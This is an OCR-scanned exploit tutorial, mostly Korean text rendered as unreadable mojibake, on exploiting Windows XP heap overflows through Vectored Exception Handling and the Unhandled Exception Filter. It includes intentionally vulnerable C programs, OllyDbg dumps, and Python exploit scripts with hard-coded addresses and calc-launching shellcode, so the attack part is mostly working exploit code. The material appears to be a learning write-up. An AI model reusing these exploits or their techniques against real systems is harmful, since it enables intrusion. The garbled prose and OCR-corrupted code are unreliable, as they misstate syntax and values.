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What is the heap and how does it work under XP?
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typedef struct _HEAP
{
HEAP_ENTRY Entry;
ULONG SegmentSignature;
ULONG SegmentFlags;
LIST_ENTRY FreelLists; // +0x178
}
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Exploiting Heap Overflows using Vectored Exception Handling
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#include <windows.h>
#include <stdio.h>

DWORD MyExceptionHandler(void);
int foo(char *buf);

int main(int argc, char *argv[])
{
HMODULE I;
| = LoadLibrary("msvcrt.dil");
| = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc 1= 2)
return printf("ARGS!");
foo(argv[1]);
return O;

}

DWORD MyExceptionHandler(void)
{

printf("In exception handler....");
ExitProcess(1);
return O;

}

int foo(char *buf)

{
HLOCAL h1 = 0, h2 = O;
HANDLE hp;

__try{
hp = HeapCreate(0,0x1000,0x10000);

if(thp)
return printf("Failed to create heap.\n");
}
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY ,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);

// Heap Overflow occurs here:
strcpy(hl,buf);

// This second call to HeapAlloc() is when we gain control
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY,260);




printf("hello");

}
__except(MyExceptionHandler())
{
printf("oops...");
}
return O;
}
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HEAP: BAB858688 BO12FF48

In exception handler....
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lyDbg - heap-veh.exe - in thread, module ntdll]
File Wiew Debug Plugins Options ‘Window Help
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FrEEZEEF ' M Registers (FPL

EBP-AC], EAX . cdll. &F

FFFFFFF]

FFFFFFF]

EO (FFFFFFFF]
ERX+EDI+158] BEEL

|.ﬁ.ccess violation when writing to [41414141] - uze Shift+F7/F8/F3 to pazz excephion to program | | Fauzed

MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECX
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So what is the vectored exception handling?

Vectored Exception Handling2 $1=2? XP7t 5 EAIZIAS A0 ZE!
N 2M XPe= & Yo 0 |%{2] S5 F X Xl(exception registration

structures)2t A2 A EICH.

struct _VECTORED_EXCEPTION_NODE

{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;

}

0{7|M Z4lo| 2otok 2 M2 m_pNextNode7t CHE VECTORED_EXCEPTION_NODE
TZHE 7t2lZlcte Z[o|ct.

2k, SEl= VECTORED_EXCEPTION_NODE(m_pNextNode)E 7}+2|7|= ZQIEIS
27t o2 HESAM BHEO{H ZQIEZE FHoi M 7|2t 5tH EICt

(Ol Ho{ M= -2 2™ dH X0l MOV DWORD PTR DS: [ecx], eax BH0{E
0|&3t™ ElCt ECX, E =

JOECHH 0|2 FAUSE Ho{ME Zl7t? 2Bt VECTORED _EXCEPTION_NODEE
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HIZ| A7l ZEE BHH 4 TH{E TS StX}

7TTF7TFA9E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]

77TF7F4A4 EB OE JMP SHORT ntdIl.77F7F4B4
7TF7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
7TTF7TF4A9 50 PUSH EAX

7TF7TF4AA FF56 08 CALL DWORD PTR DS:[ESI+8]
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AEHOI M Blob A3 = O] FAZEO| 0x12ff400|2+ D 3tH A Mo 2 = ESI+8E
SES7| B A2 AIE FAL0| 0x82 HHE 2t Z Foq{ MQJok E ZIo|C}.
[ 2k A, ECXE 0x0012ff380| E Zd0|C}.
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FE= XM _VECTORED_EXCEPTION_NODEE

ag|;m 17do0| gAlol 3 ZQIE|E 22{ZE Zdo|o}.

77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 O0OF8548E80100 JNZ ntdIl.77F7F485

S AICtA|Z], E410] 3 22{T4 m_pNextNode zt2 ZEZ QI EDIE E74X|lz XA
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[t2tAM ECX = 0x77fc3210, EAX = 0x0012ff387} EIC}.

St X|EF O[7| Z0| ofLICt. EAXSt ECXOl &7 R[] offsetE e8| L8 F Ok EHC.
e MSF IEHE M5 o{Z2l7i 0ol Hod&EC}.

OIHEESH E= EHZ 2 MASHY| @6 ot= YHE HALIOI E{FEE
StZICH msf IHEA2 Ct2 0t WAISE MAMstH ECt.

Step 1 - msf T{EIE BHE 042}

- root@pluto:/home/mr me/pentest/exploit-learning/heap EEE

File Edit View Terminal Help
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Step 2- SAsted= o1& (7|00 HoiEt

OllyDbg - heap-veh.exe - ain thread, module ntdll]

File “iew Debug FPlugins Options ‘Window Help - 8 X

( FEFFFFFF)
[ FEFFFFFF)

bi
HULL

Step 3 - 2'EICIHZE 7= 1 QX EIE LHAZ] JEHoIM 2EME 7| AHHLAEL.

ISDi;uggErF‘resent

rESlobalFlag

ProcessHeapFlag
FreCusrrInformationProcess
ZwSoEInFormaticnThroad
CheckRemoteDebuggsrPressnt
CuEEUEDebUgSErings

Heap-checking

P

Program entm point

File  ‘iew Debug F'Iugins Optiu:uns Windomw Help = | o

- root@pluto:/hom
File Edit View Terminal Help

mr_me/pentest/exploit-lea

13



import os

exploit = ("\xcc" * 272)

exploit += ("\x0c\x32\xfc\x77")

exploit += ("\x38\xff\x12")
os.system(""C:\\Documents and

Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)

X2 o] HAME ECX B0 null HIOIEE BT 7| MEN 2 =
AIFCE IS £ Qich ™M FE2|Y Debugging an SEH 0dayollA 0|9 Z42 &

7|4 & Zolct. stx|gk o|H2 &

0
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Tl efg Zdolct. eliLkstE o] Ao MHE
strcpyE Ol alAl HIHO| Rl &2 &lolckrt Eod7| mE ol

Ect 33 0] AI™H|M “\cc”olIC} breakpointE Z1 0|XS 3= 2 CHA|SH7|E

ol

e Elct &3 0| Zo|= 272 HIO|EECH 38 2HE 70|t

giLtstH Ol 0| HIEE =2 + Us FUE xIHo|7] WiEolct.
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import os

import win32api

calc = ("\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58 \xee\x2f \xd8\xb6" +
"\xeb\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" +
"\x99\xea\x75\x17\xcf\x1le\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" +
"\xab\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86 \xbe\xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" +
"\xab\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" +
"\xb2\x1e\x25\x3¢c\x11\x5b\xd9\x76\x38\xca\x71\xdf \xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf \x7b\xc6\x68\xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xbb6\xb6\xfb\x5e\x59\x24\x67\xal\x93")
exploit = ("\x90" * b)

exploit += (calc)

exploit += ("\xcc" * (272-len(exploit)))

# ECX pointer to next _VECTORED_EXCEPTION_NODE = Ox77fc3210 - Ox04
# due to second MOV writes to EAX+4 == Ox77fc320c

exploit += ("\x0c\x32\xfc\x77") # ECX

# EAX ptr to shellcode located at 0012140 - Ox8 == 0012ff38

exploit += ("\x38\xff\x12") # EAX - we dont need the null byte
win32api.WinExec(('heap-veh.exe %s') % exploit, 1)

Exploiting Heap Overflows using the Unhandled Exception Filter



Unhandler Exception Filter= 0{Z2|70|40| Z2 E[7| 2ol =& &|= oOFX|gf
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import os

exploit = ("\xcc" * 272)

exploit += ("\x41" * 4)

exploit += ("\x42" * 4)

exploit += ("\xcc" * 272)

os.system('"C:\\Documents and
Settings\\Steve\\Desktop\\odbgl10\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

X[t odlx|et Eal, ?2l2] hea-uef.c TFU2 AL AL ol of Q| SHEE{7F HolEl EXO|
gict. o] ol0l&= 2|7t YA E 29! 5t=0| Microsofts 2| 7|2 Unhandled Exception

FilterE AL &tCl= Z30]|Ct. of2iofl heap-uef.c OIC}:

int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE |;
| = LoadLibrary("msvcrt.dil");
| = LoadLibrary("netapi32.dll");
printf("\n\nHeapoverflow program.\n");
if(argc 1= 2)
return printf("ARGS!");
foo(argv[1]);
return O;
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int foo(char *buf)

{
HLOCAL hl1 = 0, h2 = O;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
if(thp)

return printf("Failed fo create heap.\n");
h1l = HeapAlloc(hp, HEAP_ZERO_MEMORY ,260);
printf("HEAP: %.8X %.8X\n",h1,&h1);

strcpy(hl,buf);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY ,260);

printf("hello");
return O;

O| ERC HEZRECIHZ & I IEE7I & &1 2z 40| 2HIE 2IX[of

A22{H SE|Lt O|F LIE| CIHZHoi| LHF & etE| CIHZ 7 1= 20| SLsICH
S El= 44t0| MM oiC|2 Z = AU=X| BF=A| Zotof BtCt.

0|Zd2 Unhandled Exception Filterodl Ciet Z Q1E{7} EZd0|LC}.

0|Zd2 SetUnhandledExceptionFilter()0ll ZEE A1{ EH 3 & £ Q/C}.

MOV 7} UnhandledExceptionFilter (0x77ed73b4) FA0| ZIE MRE WE 2 £ L}
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OllyDbg - heap-uef.exe - [CPU - main thread, module kernel

@File Wiewy Debug Plugins Options  Window  Help

ML ECK
HMOL ERS
MOL Ol
RETH 4

TEST BWTE PR
JE SHORT ke

2. 77ETESD2

0| A0l M SetUnhandledExceptionFilter()7t & £|HAM ECXQ| (2
UnhandledExceptionFilter 47t 7t2|7|= £ &201 44 H & Zdolct.
ol EE20| S oA £ unlink() ZHE0IMH ECXE EAX E5EH & UE

B E0|X|2t 2|7} 047|M 1A}t 3tE 242 SetUnhandledExceptionFilter() &4=7}

UnhandledExceptionFilter() &8 £&35le 1 WA of83tcde Aolct. wekA,

L2l ECX7I ZEZ 5 EZ(control) S24= S (pivot) ZRIE{E 7IX|1 Qe Hetn

ul
0jo
2
HL
ne
kU
[N
N
ort
R
lo
lo
HO
>|
mlo

MEARZERIA| BHE0{ £ Zd0|C}.

77TE93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]

77TE93119 3BC6 CMP EAX,ESI

77TE9311B 74 15 JE SHORT kernel32.77E93132
77TE9311D 57 PUSH EDI

77TE9311E FFDO CALL EAX

rr
N

O| EAXZ mAT|o{ 74K CIS

>~_

7|2 %2 2 UnhandledExceptionFilter()0d
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S47%e| Z2IE]|) & 7tx|1 o|4d 0|83t SAAe| ZRIE =

UnhandledExceptionFiler()odl 2|3 3%t &= £|o{ EAX0Y| K& |1 S & &|o{ A EICH

3 ZQIE{(Z Q] call dword ptr ds:[edi+74]2 L5l= W ZChHeE 2= 43 E2

Adzcz =2 HYo|2 Mo{He L Zdo|ct.

m
)
i
2
g
HL
m
)
+
(e)
b
N
(0]
4
iy
(=3
_|
jut}
10

E (payload)& 7}t2|7|= ZQIE{7t

- []x]
L/ &[] 7|w]n|c|/|x[B[R[-]s] E[F]2] |

WTE PTR (S TEOY ]

I'“_: Enter expression to follow

Se 2u oixltot EAXH 2B EIE 22 HOIF £ g Zoloh. JaiM el

o] ZQRIE{E 7}2|7]&= UnhandledExceptionFilter() 24 (77ED73B4 points to

call dword ptr ds:[edi+74] ([IF2FA, EAX = 77C3BBAD)

O] HHo{= XP sp10i MS 20| M &lH & =+ QULCH.
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OllyDbg - heap-uef.exe - [CPL - main thread, module mswvcri]

@File Wieww Debug  Plugins Options  Window  Help
[ 44 X| w11 %) ¥ 2 )i | =i L E|M|T WHC

EE%L_QNDHD FTR DS: [EDI+74] Reai
‘P 55

MOU EDI,ECH
SAR EDILE

Je2HA of k2 PoCoil A2 1 ofC|ol| ?|x|st= K| = letrt.

import os
exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77")

exploit += ("\xb4\x73\xed\x77")
exploit += ("\xcc" * 272)

os.system('"C:\\Documents and
Settings\\Steve\\Desktop\\odbgl110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

OllyDbg - heap-uef.exe - [CPL - main thread]
@File Yieww Debug Plugins Options  Window  Help - &
Blx] win] b4 HL W < LM T|WE c|/|K|BIR|-|S]| = ?

AEZFHA1

A Registers (FPUI

t BIFFFFFFFF)

B(FFFFFFFF]

FFFFFFFF)

it BLFFFFFFFF]
it FFFOESE8(FFF)

i
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import os

calc = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77"
"\xFF\xD1\x90\x90")

exploit = ("\x44" * 264)

exploit += "\xeb\x14"

exploit += ("\x44" * 6)

exploit += ("\xad\xbb\xc3\x77")
exploit += ("\xb4\x73\xed\x77")

exploit += ("\x90" * 21)
exploit += calc

os.system('heap-uef.exe ' + exploit)

OllyDbg - heap-uef.exe - [CPU - main thread]
El File Wiew Debug Plugins Options  indow  Help - T x

B x| wjn| v 1 M -+ vje|m|T|w|H|c|/[K[B|R]..|8] =[] ?]

S

it @(FFFFFFFF]
FFFFFFF]
FFFFFFF]
: FFFFFFF)
TFFOESEE( FFF )

i
=]

‘ C:ADocuments and Settings\Stevel\Desktopiheap-uefil.py - Notepad~+ +

sxDocuments and Settings~Steve~Desktop-heap—uef >python 1 ._py

eapouverf Low prograum.
EAP: ABAIFAGEE BU22FF44 —1"
E calculator E]“:Hg]

Edit  Wiews Help

[ [oeees] e J[_c ]

o) (D)6
) W=
CER | | N | | [
|0 I
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Conclusion:

2l MES XP sp1 O|70f| CHEE HAIZQI Unlink() A ZZ2QS 28t

m http://www.exploit-db.com/exploits/12240/
m http://www.exploit-db.com/exploits/15957/

A

1.Http://msdn.microsoft.com/en-us/library/windows/hardware/ff563802(v=vs.85).aspx
2.Http://msdn.microsoft.com/en-us/library/windows/hardware/ff553197(v=vs.85).aspx
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http://www.google.com/url?q=http%3A%2F%2Fwww.exploit-db.com%2Fexploits%2F12240%2F&sa=D&sntz=1&usg=AFQjCNFVAfif-9tpfK1bAKHoFo2H6VBDvQ
http://www.google.com/url?q=http%3A%2F%2Fwww.exploit-db.com%2Fexploits%2F15957%2F&sa=D&sntz=1&usg=AFQjCNEEMU7Q4V1MajZWyeUlcvCK9sr_vg
http://www.google.com/url?q=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fwindows%2Fhardware%2Fff563802(v%3Dvs.85).aspx&sa=D&sntz=1&usg=AFQjCNH9seoiKoWUghHM9VulrWul9_WKlg
http://www.google.com/url?q=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fwindows%2Fhardware%2Fff553197(v%3Dvs.85).aspx&sa=D&sntz=1&usg=AFQjCNET2DwjQ0umgz-ahnf_-Lyln89kAg

